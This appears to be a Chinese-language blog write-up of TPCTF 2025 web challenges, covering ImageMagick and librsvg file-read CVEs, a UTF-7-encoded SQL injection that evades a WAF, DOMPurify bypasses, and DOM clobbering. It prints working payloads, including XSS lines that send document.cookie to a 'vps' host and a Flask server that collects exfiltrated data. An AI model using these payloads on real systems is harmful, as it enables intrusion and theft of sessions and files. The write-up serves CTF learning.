TPCTF2025-WEB-Learning

前言

我勒个XSS大赛。。

最喜欢的java没有出现在web中,反而在misc中吗,哈吉tpctf你这家伙。

thumbor 1

附件给的是thumbor的插件环境,hint说没有0day。

那应该就不是thumbor本身的问题,其实也有点关系,就是可以url访问图片,这个在官方security文档就能看到:Security — Thumbor 7.7.4 documentation

但这个题其实是依赖的漏洞emmmmm,一开始真以为是挖0day。。。

thumbor1的依赖组件有一个ImageMagick,是一个免费的开源软件套件,用于显示、转换和编辑光栅图像和向量图像文件。它支持200多种图像文件格式,并可执行各种图像处理操作。

这里的漏洞即为CVE-2022-44268,ImageMagick的任意文件读取漏洞。

https://www.metabaseq.com/threat/imagemagick-zero-days/
https://github.com/voidz0r/CVE-2022-44268?tab=readme-ov-file

我们可以让靶机访问挂在自己vps上精心构造好的png,远程解析就会把对应的文件附加在图片里,复现CVE就完了:

image-20250312171249419

flag也一样的,低权限可读:

image-20250312171325491

image-20250312171335377

thumbor 2

还是一样的组件漏洞,但是可以发现dockerfile里重装了最新的ImageMagick,所以需要找新的组件。

这里队里nama和赵哥找了很多,试了XXE等等,以及ghostscript 9.5的RCE,均失败。但是很奇怪的是版本用的gs确实是9.5,为什么打不通呢。。。

img

最终锁定漏洞组件librsvg,CVE-2023-38633:librsvg 2.56.3 之前版本中 URL 解码器的目录遍历问题,可以被本地或远程攻击者用来泄露文件:

https://blog.csdn.net/HMX404/article/details/137231580

同样的打法,可以获得漏洞解析后的包含flag的图片,直接访问就能看到了:

image-20250312171818815

这里看不到完整的直接调宽高就行了。flag也是低权限可读:

1
curl -o output.jpg -H "Host: 1.95.57.127:3602" -H "Accept-Encoding: gzip, deflate" -H "Upgrade-Insecure-Requests: 1" -H "Priority: u=0, i" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" "http://1.95.57.127:3602/thumbor/unsafe/smart/http%3A%2F%2Fvps%3A1234%2F1.svg"

image-20250312171851877

supersqli

赵哥太狠了,直接拿下一血。

论文题,按照它的方法打复现就行了:

Jianjun Chen | Associate Professor | Tsinghua University

1
2
3
Break the Wall from Bottom: Automated Discovery of Protocol-Level Evasion Vulnerabilities in Web Application Firewalls
2024 IEEE Symposium on Security and Privacy
Qi Wang, Jianjun Chen, Zheyu Jiang, Run Guo, Ximeng Liu, Chao Zhang, Haixin Duan

其实也是队里去清华的eki佬的论文,tql😭

高手!!!!!

直接往/flag发POST:

1
+AHUAcwBlAHIAbgBhAG0AZQ-=+AGEAZABtAGkAbg-&+AHAAYQBzAHMAdwBvAHIAZA-=+ACcALwAqACoALwB1AG4AaQBvAG4ALwAqACoALwBTAEUATABFAEMAVAAvACoAKgAvADEALAAyACwAUgBFAFAATABBAEMARQAoAFIARQBQAEwAQQBDAEUAKAAnACIALwAqACoALwB1AG4AaQBvAG4ALwAqACoALwBTAEUATABFAEMAVAAvACoAKgAvADEALAAyACwAUgBFAFAATABBAEMARQAoAFIARQBQAEwAQQBDAEUAKAAiAC4AIgAsAEMASABBAFIAKAAzADQAKQAsAEMASABBAFIAKAAzADkAKQApACwAQwBIAEEAUgAoADQANgApACwAIgAuACIAKQAvACoAKgAvAEEAUwAvACoAKgAvAGMAaAAzAG4AcwAxAHIALQAtACcALABDAEgAQQBSACgAMwA0ACkALABDAEgAQQBSACgAMwA5ACkAKQAsAEMASABBAFIAKAA0ADYAKQAsACcAIgAvACoAKgAvAHUAbgBpAG8AbgAvACoAKgAvAFMARQBMAEUAQwBUAC8AKgAqAC8AMQAsADIALABSAEUAUABMAEEAQwBFACgAUgBFAFAATABBAEMARQAoACIALgAiACwAQwBIAEEAUgAoADMANAApACwAQwBIAEEAUgAoADMAOQApACkALABDAEgAQQBSACgANAA2ACkALAAiAC4AIgApAC8AKgAqAC8AQQBTAC8AKgAqAC8AYwBoADMAbgBzADEAcgAtAC0AJwApAC8AKgAqAC8AQQBTAC8AKgAqAC8AYwBoADMAbgBzADEAcgAtAC0-

image-20250312173728078

当然也有真去注的,用quine注入,其他队的wp可以康:

TPCTF 2025 Writeup by 0xFFF

layout三件套

原题打法。

请看VCR:

Exploring the DOMPurify library: Hunting for Misconfigurations (2/2) | mizu.re

https://github.com/Sudistark/CTF-Writeups/blob/main/Flatt-Security-XSS-Challenge/solutions.md

baby layout

源码很简单,XSS读到admin的cookie就是flag。

1
2
layout:   <svg src="{{content}}"></svg>  
content: test" onload=location.href="http://vps:port?flag="+document.cookie src="

image-20250312175306344

safe layout

在原来的基础上过滤了所有html属性。加了个

1
ALLOWED_ATTR: []

data-* 和 aria-* 类的属性不会被过滤,按照文章改改就行:

1
2
layout:   <svg data-type="{{content}}"></svg>
content: test" onload=location.href="http://vps:port?flag="+document.cookie src="

image-20250312175631770

safe layout revenge

除了对attr进行过滤,aria和data一并被过滤:

image-20250312175818038

可以采用style绕过,把xss的payload构造好后把script标签插入content:

1
layout: x<style><{{content}}/style><{{content}}img src=x onerror=alert()></style>
1
x<style><{{content}}/style><{{content}}img src=x onerror=fetch('http://vps:port?flag='+document.cookie)></style>

提交内容为空即可:

image-20250313004157671

官方:

image-20250313004231645

Are you incognito?

好像是ustc发现的0day?

image-20250312182551861

做法来自TPCTF2025 writeup by Mini-Venom

如果不存在broswer.runtime.id,则module.exports导出windowbrowser

注意到globalThiswindow,因此可以使用dom clobberate污染browser.runtime.id

1
2
3
4
5
if (!(globalThis.browser && globalThis.browser.runtime && globalThis.browser.runtime.id)) {
//...
}else {
module.exports = globalThis.browser;
}

使用iframe三层污染:

1
2
3
4
5
6
7
<iframe name="browser" srcdoc='
<form id="runtime"></form>
<form id="runtime" name="id">
</form>
<form id="extension"></form>
<form id="extension" name="inIncognitoContext">
</form>'></iframe>

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from flask import *
import os


app = Flask(__name__)

@app.route('/')
def index():
try:
file_path = os.path.join(os.path.dirname(__file__), 'index.html')
with open(file_path, 'r') as f:
data = f.read()
return data, 200, {'Content-Type': 'text/html'}
except Exception as e:
return 'Internal Server Error', 500


@app.route('/flag', methods=['POST'])
def flag():
# 处 理 POST 请 求
body = request.data.decode('utf-8')
response = {
'status': 'flag',
'data': body
}
print(response)
return jsonify(response), 200


@app.errorhandler(404)
def page_not_found(e):
return 'Not Found', 404


if __name__ == '__main__':
app.run(host='0.0.0.0', port=21000)

image-20250312184013283


TPCTF2025-WEB-Learning
https://eddiemurphy89.github.io/2025/03/12/TPCTF2025-WEB-Learning/
作者
EddieMurphy
发布于
2025年3月12日
许可协议